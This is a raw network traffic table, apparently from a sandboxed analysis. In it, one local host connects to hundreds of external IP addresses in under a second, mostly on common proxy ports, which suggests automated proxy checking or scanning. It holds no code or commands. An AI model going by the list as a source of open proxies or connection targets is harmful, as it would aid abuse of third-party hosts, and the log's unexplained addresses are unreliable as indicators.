Mar 11, 2024 16:39:43.064068079 CET	49713	8080	192.168.2.10	103.141.66.78
Mar 11, 2024 16:39:43.064419031 CET	49712	44607	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:43.066195965 CET	49715	5212	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:43.066214085 CET	49714	8080	192.168.2.10	103.186.8.162
Mar 11, 2024 16:39:43.066464901 CET	49716	8080	192.168.2.10	103.169.130.46
Mar 11, 2024 16:39:43.068581104 CET	49717	5678	192.168.2.10	91.187.55.39
Mar 11, 2024 16:39:43.071693897 CET	49718	80	192.168.2.10	41.74.91.244
Mar 11, 2024 16:39:43.071763992 CET	49719	3129	192.168.2.10	20.219.180.149
Mar 11, 2024 16:39:43.071826935 CET	49720	587	192.168.2.10	160.248.80.91
Mar 11, 2024 16:39:43.073796034 CET	49721	80	192.168.2.10	172.67.254.127
Mar 11, 2024 16:39:43.074990988 CET	49722	8081	192.168.2.10	154.72.90.74
Mar 11, 2024 16:39:43.075901031 CET	49723	48892	192.168.2.10	72.167.222.113
Mar 11, 2024 16:39:43.080188990 CET	49724	84	192.168.2.10	103.26.108.118
Mar 11, 2024 16:39:43.081300020 CET	49725	9375	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:43.087805986 CET	49726	8081	192.168.2.10	79.110.196.145
Mar 11, 2024 16:39:43.091299057 CET	49727	80	192.168.2.10	50.217.226.43
Mar 11, 2024 16:39:43.094248056 CET	49728	80	192.168.2.10	190.186.237.103
Mar 11, 2024 16:39:43.097645044 CET	49729	4145	192.168.2.10	152.32.78.24
Mar 11, 2024 16:39:43.105218887 CET	49730	8080	192.168.2.10	201.20.67.70
Mar 11, 2024 16:39:43.108443022 CET	49731	1080	192.168.2.10	47.91.110.154
Mar 11, 2024 16:39:43.111813068 CET	49732	8089	192.168.2.10	117.70.49.235
Mar 11, 2024 16:39:43.179029942 CET	49733	49478	192.168.2.10	162.241.70.64
Mar 11, 2024 16:39:43.211234093 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:43.223022938 CET	49735	37736	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:43.227063894 CET	49736	33590	192.168.2.10	85.120.30.66
Mar 11, 2024 16:39:43.228101969 CET	80	49721	172.67.254.127	192.168.2.10
Mar 11, 2024 16:39:43.228174925 CET	49721	80	192.168.2.10	172.67.254.127
Mar 11, 2024 16:39:43.229913950 CET	49721	80	192.168.2.10	172.67.254.127
Mar 11, 2024 16:39:43.230283022 CET	49737	80	192.168.2.10	104.16.226.6
Mar 11, 2024 16:39:43.233484030 CET	49738	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.235843897 CET	49739	3128	192.168.2.10	3.24.58.156
Mar 11, 2024 16:39:43.239722967 CET	49740	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.241230965 CET	49741	8888	192.168.2.10	200.174.198.95
Mar 11, 2024 16:39:43.243343115 CET	49742	59920	192.168.2.10	45.56.220.210
Mar 11, 2024 16:39:43.246959925 CET	49743	3125	192.168.2.10	103.226.232.188
Mar 11, 2024 16:39:43.250509977 CET	49744	80	192.168.2.10	104.21.6.88
Mar 11, 2024 16:39:43.252052069 CET	49745	4995	192.168.2.10	116.97.240.147
Mar 11, 2024 16:39:43.255084038 CET	49746	5678	192.168.2.10	143.255.140.28
Mar 11, 2024 16:39:43.256932974 CET	49747	8081	192.168.2.10	113.53.3.242
Mar 11, 2024 16:39:43.262701035 CET	49748	8080	192.168.2.10	103.167.68.255
Mar 11, 2024 16:39:43.266043901 CET	49749	5678	192.168.2.10	122.152.53.25
Mar 11, 2024 16:39:43.270051956 CET	49750	40351	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:43.270759106 CET	49751	30951	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:43.276740074 CET	44607	49712	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:43.277075052 CET	49752	3128	192.168.2.10	8.209.255.13
Mar 11, 2024 16:39:43.278975010 CET	49753	58740	192.168.2.10	162.214.90.49
Mar 11, 2024 16:39:43.281130075 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:43.282104969 CET	15082	49709	45.77.111.135	192.168.2.10
Mar 11, 2024 16:39:43.289037943 CET	49755	6969	192.168.2.10	103.199.155.18
Mar 11, 2024 16:39:43.292227030 CET	49756	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.292248964 CET	443	49756	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.292305946 CET	49756	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.292488098 CET	49756	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.292504072 CET	443	49756	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.292601109 CET	443	49756	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.296875954 CET	49757	22881	192.168.2.10	208.109.14.49
Mar 11, 2024 16:39:43.298362970 CET	49758	31551	192.168.2.10	91.213.119.246
Mar 11, 2024 16:39:43.303816080 CET	49759	8123	192.168.2.10	20.24.43.214
Mar 11, 2024 16:39:43.308491945 CET	49760	5678	192.168.2.10	178.212.51.79
Mar 11, 2024 16:39:43.309253931 CET	49761	8090	192.168.2.10	103.127.106.249
Mar 11, 2024 16:39:43.313532114 CET	49763	8080	192.168.2.10	185.108.141.19
Mar 11, 2024 16:39:43.314412117 CET	49762	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:43.314831018 CET	49764	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.314846039 CET	443	49764	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.314897060 CET	49764	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.315167904 CET	49764	443	192.168.2.10	4.182.9.108
Mar 11, 2024 16:39:43.315181017 CET	443	49764	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.315265894 CET	443	49764	4.182.9.108	192.168.2.10
Mar 11, 2024 16:39:43.315509081 CET	9375	49725	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:43.317239046 CET	49765	80	192.168.2.10	172.67.182.169
Mar 11, 2024 16:39:43.319137096 CET	49766	4495	192.168.2.10	67.43.228.252
Mar 11, 2024 16:39:43.322124958 CET	49767	24183	192.168.2.10	92.205.61.38
Mar 11, 2024 16:39:43.323972940 CET	49768	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:43.328675985 CET	49769	80	192.168.2.10	104.17.9.114
Mar 11, 2024 16:39:43.332211018 CET	49770	3128	192.168.2.10	46.245.77.52
Mar 11, 2024 16:39:43.336097002 CET	49771	8402	192.168.2.10	45.229.10.98
Mar 11, 2024 16:39:43.350920916 CET	49772	15673	192.168.2.10	43.155.165.196
Mar 11, 2024 16:39:43.352154970 CET	49773	80	192.168.2.10	50.239.72.18
Mar 11, 2024 16:39:43.355654955 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:43.357377052 CET	49775	28971	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:43.359262943 CET	49776	37876	192.168.2.10	162.241.50.179
Mar 11, 2024 16:39:43.361782074 CET	49777	80	192.168.2.10	50.174.145.9
Mar 11, 2024 16:39:43.364028931 CET	49778	999	192.168.2.10	131.100.48.75
Mar 11, 2024 16:39:43.373056889 CET	49779	8080	192.168.2.10	149.126.101.162
Mar 11, 2024 16:39:43.374404907 CET	49780	50605	192.168.2.10	51.81.89.146
Mar 11, 2024 16:39:43.377460957 CET	49781	4145	192.168.2.10	212.231.197.29
Mar 11, 2024 16:39:43.379216909 CET	49782	8080	192.168.2.10	42.200.196.208
Mar 11, 2024 16:39:43.382783890 CET	49783	80	192.168.2.10	93.188.161.84
Mar 11, 2024 16:39:43.384140968 CET	80	49721	172.67.254.127	192.168.2.10
Mar 11, 2024 16:39:43.384248018 CET	80	49721	172.67.254.127	192.168.2.10
Mar 11, 2024 16:39:43.384665966 CET	80	49737	104.16.226.6	192.168.2.10
Mar 11, 2024 16:39:43.384859085 CET	49737	80	192.168.2.10	104.16.226.6
Mar 11, 2024 16:39:43.385078907 CET	80	49721	172.67.254.127	192.168.2.10
Mar 11, 2024 16:39:43.385134935 CET	49721	80	192.168.2.10	172.67.254.127
Mar 11, 2024 16:39:43.385883093 CET	49737	80	192.168.2.10	104.16.226.6
Mar 11, 2024 16:39:43.386077881 CET	80	49727	50.217.226.43	192.168.2.10
Mar 11, 2024 16:39:43.387154102 CET	49784	31033	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:43.387779951 CET	49721	80	192.168.2.10	172.67.254.127
Mar 11, 2024 16:39:43.391933918 CET	49785	80	192.168.2.10	31.207.38.66
Mar 11, 2024 16:39:43.393461943 CET	49786	5678	192.168.2.10	186.248.87.172
Mar 11, 2024 16:39:43.397331953 CET	49787	32221	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:43.401427984 CET	49788	8080	192.168.2.10	103.114.53.2
Mar 11, 2024 16:39:43.402920961 CET	49789	31908	192.168.2.10	64.227.108.25
Mar 11, 2024 16:39:43.404680967 CET	80	49744	104.21.6.88	192.168.2.10
Mar 11, 2024 16:39:43.404752970 CET	49744	80	192.168.2.10	104.21.6.88
Mar 11, 2024 16:39:43.404978037 CET	49744	80	192.168.2.10	104.21.6.88
Mar 11, 2024 16:39:43.404978037 CET	49790	999	192.168.2.10	45.178.133.60
Mar 11, 2024 16:39:43.408045053 CET	49791	5038	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:43.412080050 CET	49792	999	192.168.2.10	200.106.184.97
Mar 11, 2024 16:39:43.415924072 CET	8081	49726	79.110.196.145	192.168.2.10
Mar 11, 2024 16:39:43.415944099 CET	49793	999	192.168.2.10	201.71.3.60
Mar 11, 2024 16:39:43.415986061 CET	49726	8081	192.168.2.10	79.110.196.145
Mar 11, 2024 16:39:43.416309118 CET	49726	8081	192.168.2.10	79.110.196.145
Mar 11, 2024 16:39:43.417711020 CET	49794	54240	192.168.2.10	200.25.254.193
Mar 11, 2024 16:39:43.420588970 CET	49795	80	192.168.2.10	50.239.72.19
Mar 11, 2024 16:39:43.422494888 CET	49796	8089	192.168.2.10	114.231.45.101
Mar 11, 2024 16:39:43.423609972 CET	49797	80	192.168.2.10	45.12.31.3
Mar 11, 2024 16:39:43.426400900 CET	49798	3129	192.168.2.10	115.248.66.131
Mar 11, 2024 16:39:43.428339005 CET	49799	45876	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:43.429492950 CET	49800	37400	192.168.2.10	171.244.140.160
Mar 11, 2024 16:39:43.431587934 CET	49801	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:43.433418989 CET	49802	8080	192.168.2.10	14.207.41.71
Mar 11, 2024 16:39:43.434484005 CET	8089	49732	117.70.49.235	192.168.2.10
Mar 11, 2024 16:39:43.435806036 CET	49803	3128	192.168.2.10	196.202.40.17
Mar 11, 2024 16:39:43.438493967 CET	49804	1080	192.168.2.10	185.82.87.30
Mar 11, 2024 16:39:43.439393997 CET	4145	49738	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:43.439470053 CET	49738	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.440320015 CET	49738	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.440521955 CET	49805	999	192.168.2.10	157.100.63.69
Mar 11, 2024 16:39:43.441354990 CET	80	49718	41.74.91.244	192.168.2.10
Mar 11, 2024 16:39:43.441409111 CET	49718	80	192.168.2.10	41.74.91.244
Mar 11, 2024 16:39:43.442543983 CET	49718	80	192.168.2.10	41.74.91.244
Mar 11, 2024 16:39:43.445941925 CET	49806	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:43.447380066 CET	49807	3629	192.168.2.10	188.124.15.13
Mar 11, 2024 16:39:43.448568106 CET	49808	80	192.168.2.10	149.202.91.219
Mar 11, 2024 16:39:43.450336933 CET	4145	49729	152.32.78.24	192.168.2.10
Mar 11, 2024 16:39:43.451033115 CET	49809	1111	192.168.2.10	103.8.164.16
Mar 11, 2024 16:39:43.453221083 CET	49810	5678	192.168.2.10	193.106.57.96
Mar 11, 2024 16:39:43.455270052 CET	49811	80	192.168.2.10	104.17.84.150
Mar 11, 2024 16:39:43.457237959 CET	49812	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:43.459314108 CET	49813	80	192.168.2.10	143.198.226.25
Mar 11, 2024 16:39:43.462702990 CET	3129	49719	20.219.180.149	192.168.2.10
Mar 11, 2024 16:39:43.463594913 CET	49814	8090	192.168.2.10	115.127.112.74
Mar 11, 2024 16:39:43.468704939 CET	49815	26315	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:43.471251965 CET	80	49765	172.67.182.169	192.168.2.10
Mar 11, 2024 16:39:43.471307039 CET	49765	80	192.168.2.10	172.67.182.169
Mar 11, 2024 16:39:43.471602917 CET	49765	80	192.168.2.10	172.67.182.169
Mar 11, 2024 16:39:43.473126888 CET	49816	3128	192.168.2.10	193.239.86.249
Mar 11, 2024 16:39:43.479100943 CET	49817	1080	192.168.2.10	5.180.19.140
Mar 11, 2024 16:39:43.482316017 CET	49818	999	192.168.2.10	45.181.123.145
Mar 11, 2024 16:39:43.482974052 CET	80	49769	104.17.9.114	192.168.2.10
Mar 11, 2024 16:39:43.483043909 CET	49769	80	192.168.2.10	104.17.9.114
Mar 11, 2024 16:39:43.483380079 CET	49769	80	192.168.2.10	104.17.9.114
Mar 11, 2024 16:39:43.490458012 CET	40351	49750	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:43.495678902 CET	30951	49751	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:43.496429920 CET	49819	80	192.168.2.10	104.16.81.76
Mar 11, 2024 16:39:43.498542070 CET	49820	8080	192.168.2.10	193.34.21.200
Mar 11, 2024 16:39:43.500658989 CET	49821	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:43.503380060 CET	49822	3128	192.168.2.10	15.236.106.236
Mar 11, 2024 16:39:43.505253077 CET	49823	5678	192.168.2.10	45.228.147.209
Mar 11, 2024 16:39:43.507730961 CET	49824	1080	192.168.2.10	93.171.243.253
Mar 11, 2024 16:39:43.509793043 CET	49825	9039	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:43.523399115 CET	49826	5678	192.168.2.10	123.108.98.108
Mar 11, 2024 16:39:43.525408983 CET	49827	16379	192.168.2.10	163.172.147.9
Mar 11, 2024 16:39:43.525654078 CET	8081	49722	154.72.90.74	192.168.2.10
Mar 11, 2024 16:39:43.527945995 CET	49828	9002	192.168.2.10	220.248.70.237
Mar 11, 2024 16:39:43.530222893 CET	49829	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:43.532607079 CET	49830	13335	192.168.2.10	172.67.185.199
Mar 11, 2024 16:39:43.533993006 CET	37736	49735	207.180.234.220	192.168.2.10
Mar 11, 2024 16:39:43.534060001 CET	49735	37736	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:43.534960985 CET	49735	37736	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:43.535307884 CET	49831	55019	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:43.536854029 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:43.536859035 CET	49832	80	192.168.2.10	50.172.218.160
Mar 11, 2024 16:39:43.536911964 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:43.537162066 CET	49734	8000	192.168.2.10	14.103.24.148
Mar 11, 2024 16:39:43.540067911 CET	80	49737	104.16.226.6	192.168.2.10
Mar 11, 2024 16:39:43.540333033 CET	80	49737	104.16.226.6	192.168.2.10
Mar 11, 2024 16:39:43.540510893 CET	80	49737	104.16.226.6	192.168.2.10
Mar 11, 2024 16:39:43.540548086 CET	49737	80	192.168.2.10	104.16.226.6
Mar 11, 2024 16:39:43.540879965 CET	49737	80	192.168.2.10	104.16.226.6
Mar 11, 2024 16:39:43.541955948 CET	80	49721	172.67.254.127	192.168.2.10
Mar 11, 2024 16:39:43.542849064 CET	49833	3129	192.168.2.10	20.204.212.76
Mar 11, 2024 16:39:43.543823957 CET	49834	3128	192.168.2.10	155.50.241.99
Mar 11, 2024 16:39:43.544581890 CET	4495	49766	67.43.228.252	192.168.2.10
Mar 11, 2024 16:39:43.546295881 CET	49835	80	192.168.2.10	52.24.80.166
Mar 11, 2024 16:39:43.547565937 CET	9764	49768	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:43.547617912 CET	49768	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:43.547833920 CET	49768	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:43.548527956 CET	49836	1080	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:43.550887108 CET	49837	8080	192.168.2.10	160.19.169.208
Mar 11, 2024 16:39:43.552994013 CET	33590	49736	85.120.30.66	192.168.2.10
Mar 11, 2024 16:39:43.553608894 CET	49838	60781	192.168.2.10	132.148.129.254
Mar 11, 2024 16:39:43.555476904 CET	49839	80	192.168.2.10	185.162.229.127
Mar 11, 2024 16:39:43.556329966 CET	80	49773	50.239.72.18	192.168.2.10
Mar 11, 2024 16:39:43.557362080 CET	49840	8089	192.168.2.10	123.182.58.221
Mar 11, 2024 16:39:43.558945894 CET	80	49744	104.21.6.88	192.168.2.10
Mar 11, 2024 16:39:43.558968067 CET	80	49744	104.21.6.88	192.168.2.10
Mar 11, 2024 16:39:43.559319019 CET	49744	80	192.168.2.10	104.21.6.88
Mar 11, 2024 16:39:43.559413910 CET	80	49744	104.21.6.88	192.168.2.10
Mar 11, 2024 16:39:43.559458971 CET	49744	80	192.168.2.10	104.21.6.88
Mar 11, 2024 16:39:43.560103893 CET	49841	3629	192.168.2.10	178.158.197.147
Mar 11, 2024 16:39:43.561220884 CET	49842	18877	192.168.2.10	178.128.207.96
Mar 11, 2024 16:39:43.562851906 CET	49843	999	192.168.2.10	181.65.169.37
Mar 11, 2024 16:39:43.564543009 CET	49844	8080	192.168.2.10	85.117.60.162
Mar 11, 2024 16:39:43.565288067 CET	49845	58386	192.168.2.10	5.44.42.115
Mar 11, 2024 16:39:43.566433907 CET	49846	5005	192.168.2.10	1.194.236.229
Mar 11, 2024 16:39:43.567361116 CET	49847	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:43.569854021 CET	49848	31337	192.168.2.10	186.251.255.73
Mar 11, 2024 16:39:43.570519924 CET	49849	4153	192.168.2.10	190.2.104.201
Mar 11, 2024 16:39:43.572112083 CET	49850	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:43.572978973 CET	49851	80	192.168.2.10	172.67.187.242
Mar 11, 2024 16:39:43.574472904 CET	49852	8080	192.168.2.10	181.212.45.228
Mar 11, 2024 16:39:43.576286077 CET	49853	36694	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:43.577168941 CET	49854	8080	192.168.2.10	176.88.166.218
Mar 11, 2024 16:39:43.577697039 CET	80	49797	45.12.31.3	192.168.2.10
Mar 11, 2024 16:39:43.577756882 CET	49797	80	192.168.2.10	45.12.31.3
Mar 11, 2024 16:39:43.578879118 CET	49797	80	192.168.2.10	45.12.31.3
Mar 11, 2024 16:39:43.579341888 CET	49855	83	192.168.2.10	103.168.164.94
Mar 11, 2024 16:39:43.580082893 CET	49856	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:43.581336975 CET	49857	999	192.168.2.10	179.1.192.27
Mar 11, 2024 16:39:43.582518101 CET	28971	49775	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:43.582931042 CET	49858	51405	192.168.2.10	51.81.186.179
Mar 11, 2024 16:39:43.584419966 CET	49859	15430	192.168.2.10	92.205.110.118
Mar 11, 2024 16:39:43.585983038 CET	49860	80	192.168.2.10	104.25.135.170
Mar 11, 2024 16:39:43.587366104 CET	49861	64120	192.168.2.10	161.97.163.52
Mar 11, 2024 16:39:43.588226080 CET	49862	8080	192.168.2.10	105.174.40.54
Mar 11, 2024 16:39:43.589294910 CET	49863	999	192.168.2.10	45.190.78.50
Mar 11, 2024 16:39:43.590848923 CET	49864	27234	192.168.2.10	168.228.36.22
Mar 11, 2024 16:39:43.592617989 CET	49865	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:43.593221903 CET	49866	80	192.168.2.10	194.186.127.60
Mar 11, 2024 16:39:43.594460011 CET	49867	17045	192.168.2.10	88.202.230.103
Mar 11, 2024 16:39:43.595980883 CET	49868	8181	192.168.2.10	103.78.96.146
Mar 11, 2024 16:39:43.597476959 CET	49869	34144	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:43.598489046 CET	50605	49780	51.81.89.146	192.168.2.10
Mar 11, 2024 16:39:43.598866940 CET	49870	8080	192.168.2.10	87.76.1.251
Mar 11, 2024 16:39:43.600241899 CET	49871	4444	192.168.2.10	193.143.1.201
Mar 11, 2024 16:39:43.602411032 CET	8800	49740	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:43.602468967 CET	49740	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.602674961 CET	49872	3128	192.168.2.10	34.85.177.170
Mar 11, 2024 16:39:43.603749990 CET	49740	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:43.603813887 CET	49873	9990	192.168.2.10	103.234.26.163
Mar 11, 2024 16:39:43.605454922 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:43.606564999 CET	49875	3128	192.168.2.10	160.16.90.35
Mar 11, 2024 16:39:43.606610060 CET	4145	49806	184.181.217.194	192.168.2.10
Mar 11, 2024 16:39:43.606652975 CET	49806	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:43.607769012 CET	49876	37847	192.168.2.10	51.75.126.150
Mar 11, 2024 16:39:43.609703064 CET	80	49811	104.17.84.150	192.168.2.10
Mar 11, 2024 16:39:43.609707117 CET	49877	80	192.168.2.10	146.59.202.70
Mar 11, 2024 16:39:43.609746933 CET	49811	80	192.168.2.10	104.17.84.150
Mar 11, 2024 16:39:43.610475063 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:43.610626936 CET	49811	80	192.168.2.10	104.17.84.150
Mar 11, 2024 16:39:43.611970901 CET	31033	49784	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:43.612994909 CET	49879	5678	192.168.2.10	176.119.227.65
Mar 11, 2024 16:39:43.613508940 CET	49880	7777	192.168.2.10	123.30.154.171
Mar 11, 2024 16:39:43.614417076 CET	49881	32650	192.168.2.10	41.217.220.214
Mar 11, 2024 16:39:43.614743948 CET	49882	8000	192.168.2.10	178.128.156.219
Mar 11, 2024 16:39:43.617038965 CET	49883	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:43.617820978 CET	49884	1080	192.168.2.10	89.187.216.58
Mar 11, 2024 16:39:43.618916988 CET	49885	16379	192.168.2.10	51.15.254.129
Mar 11, 2024 16:39:43.621228933 CET	49886	31337	192.168.2.10	186.251.255.105
Mar 11, 2024 16:39:43.621392965 CET	49887	80	192.168.2.10	50.174.145.11
Mar 11, 2024 16:39:43.622262955 CET	32221	49787	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:43.622808933 CET	80	49795	50.239.72.19	192.168.2.10
Mar 11, 2024 16:39:43.623181105 CET	49888	8080	192.168.2.10	103.147.247.79
Mar 11, 2024 16:39:43.624557018 CET	49889	3128	192.168.2.10	94.131.106.196
Mar 11, 2024 16:39:43.625583887 CET	80	49765	172.67.182.169	192.168.2.10
Mar 11, 2024 16:39:43.625605106 CET	49890	80	192.168.2.10	50.168.72.112
Mar 11, 2024 16:39:43.625718117 CET	80	49765	172.67.182.169	192.168.2.10
Mar 11, 2024 16:39:43.625933886 CET	80	49765	172.67.182.169	192.168.2.10
Mar 11, 2024 16:39:43.626003027 CET	49765	80	192.168.2.10	172.67.182.169
Mar 11, 2024 16:39:43.626565933 CET	49765	80	192.168.2.10	172.67.182.169
Mar 11, 2024 16:39:43.627873898 CET	49891	80	192.168.2.10	50.223.239.166
Mar 11, 2024 16:39:43.628622055 CET	49892	53783	192.168.2.10	162.241.46.69
Mar 11, 2024 16:39:43.629818916 CET	49893	8080	192.168.2.10	95.47.149.8
Mar 11, 2024 16:39:43.636773109 CET	8123	49759	20.24.43.214	192.168.2.10
Mar 11, 2024 16:39:43.637660027 CET	80	49769	104.17.9.114	192.168.2.10
Mar 11, 2024 16:39:43.637722969 CET	80	49769	104.17.9.114	192.168.2.10
Mar 11, 2024 16:39:43.639486074 CET	80	49769	104.17.9.114	192.168.2.10
Mar 11, 2024 16:39:43.639520884 CET	49769	80	192.168.2.10	104.17.9.114
Mar 11, 2024 16:39:43.642287970 CET	49769	80	192.168.2.10	104.17.9.114
Mar 11, 2024 16:39:43.644967079 CET	5678	49760	178.212.51.79	192.168.2.10
Mar 11, 2024 16:39:43.645525932 CET	49894	64768	192.168.2.10	173.212.250.16
Mar 11, 2024 16:39:43.645730019 CET	49895	45248	192.168.2.10	166.62.121.127
Mar 11, 2024 16:39:43.646585941 CET	80	49777	50.174.145.9	192.168.2.10
Mar 11, 2024 16:39:43.646603107 CET	49896	5678	192.168.2.10	173.224.20.136
Mar 11, 2024 16:39:43.646945000 CET	4145	49738	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:43.646956921 CET	4145	49738	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:43.648927927 CET	49897	49806	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:43.650161982 CET	49898	4145	192.168.2.10	142.54.237.34
Mar 11, 2024 16:39:43.650723934 CET	80	49819	104.16.81.76	192.168.2.10
Mar 11, 2024 16:39:43.650783062 CET	49819	80	192.168.2.10	104.16.81.76
Mar 11, 2024 16:39:43.650979996 CET	49899	8090	192.168.2.10	119.28.60.64
Mar 11, 2024 16:39:43.651741028 CET	49819	80	192.168.2.10	104.16.81.76
Mar 11, 2024 16:39:43.652817011 CET	49900	8080	192.168.2.10	103.153.232.41
Mar 11, 2024 16:39:43.654232025 CET	49901	55443	192.168.2.10	202.165.47.90
Mar 11, 2024 16:39:43.655186892 CET	49902	8061	192.168.2.10	103.169.254.186
Mar 11, 2024 16:39:43.656513929 CET	49903	32100	192.168.2.10	50.233.111.162
Mar 11, 2024 16:39:43.657942057 CET	49904	8888	192.168.2.10	65.109.152.88
Mar 11, 2024 16:39:43.660093069 CET	49905	42931	192.168.2.10	88.211.85.169
Mar 11, 2024 16:39:43.660145998 CET	49906	5484	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:43.661477089 CET	49907	9091	192.168.2.10	103.112.128.37
Mar 11, 2024 16:39:43.662367105 CET	49908	13003	192.168.2.10	192.99.207.129
Mar 11, 2024 16:39:43.663042068 CET	49909	3128	192.168.2.10	194.182.187.78
Mar 11, 2024 16:39:43.665064096 CET	49910	9090	192.168.2.10	45.90.104.150
Mar 11, 2024 16:39:43.666865110 CET	49911	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:43.667498112 CET	49912	8080	192.168.2.10	46.0.203.186
Mar 11, 2024 16:39:43.668463945 CET	49913	80	192.168.2.10	165.154.236.214
Mar 11, 2024 16:39:43.668509007 CET	5678	49749	122.152.53.25	192.168.2.10
Mar 11, 2024 16:39:43.670340061 CET	49914	80	192.168.2.10	103.152.112.145
Mar 11, 2024 16:39:43.670953989 CET	49915	5775	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:43.672137022 CET	49916	1974	192.168.2.10	41.33.203.115
Mar 11, 2024 16:39:43.673646927 CET	8080	49774	20.37.207.8	192.168.2.10
Mar 11, 2024 16:39:43.673660040 CET	49917	3128	192.168.2.10	5.252.23.249
Mar 11, 2024 16:39:43.673705101 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:43.674604893 CET	49774	8080	192.168.2.10	20.37.207.8
Mar 11, 2024 16:39:43.675561905 CET	49918	80	192.168.2.10	50.175.212.74
Mar 11, 2024 16:39:43.676203966 CET	49919	10710	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:43.677592039 CET	49920	80	192.168.2.10	104.16.105.106
Mar 11, 2024 16:39:43.679464102 CET	49921	80	192.168.2.10	178.128.200.87
Mar 11, 2024 16:39:43.680250883 CET	49922	3128	192.168.2.10	178.158.166.161
Mar 11, 2024 16:39:43.681648970 CET	49923	9510	192.168.2.10	92.247.12.136
Mar 11, 2024 16:39:43.682796955 CET	49924	45883	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:43.684124947 CET	49925	80	192.168.2.10	118.222.104.135
Mar 11, 2024 16:39:43.685904980 CET	49926	5678	192.168.2.10	181.78.13.91
Mar 11, 2024 16:39:43.686892033 CET	49927	8080	192.168.2.10	57.128.163.242
Mar 11, 2024 16:39:43.688426971 CET	49928	58740	192.168.2.10	162.214.197.102
Mar 11, 2024 16:39:43.689085960 CET	49929	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:43.690618038 CET	49930	80	192.168.2.10	45.139.11.200
Mar 11, 2024 16:39:43.691656113 CET	49931	8888	192.168.2.10	47.254.90.125
Mar 11, 2024 16:39:43.693347931 CET	49932	80	192.168.2.10	50.168.163.166
Mar 11, 2024 16:39:43.693698883 CET	26315	49815	72.10.160.171	192.168.2.10
Mar 11, 2024 16:39:43.694560051 CET	49933	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:43.695132017 CET	80	49737	104.16.226.6	192.168.2.10
Mar 11, 2024 16:39:43.695434093 CET	49934	80	192.168.2.10	14.142.36.210
Mar 11, 2024 16:39:43.697232962 CET	49935	8080	192.168.2.10	176.213.141.107
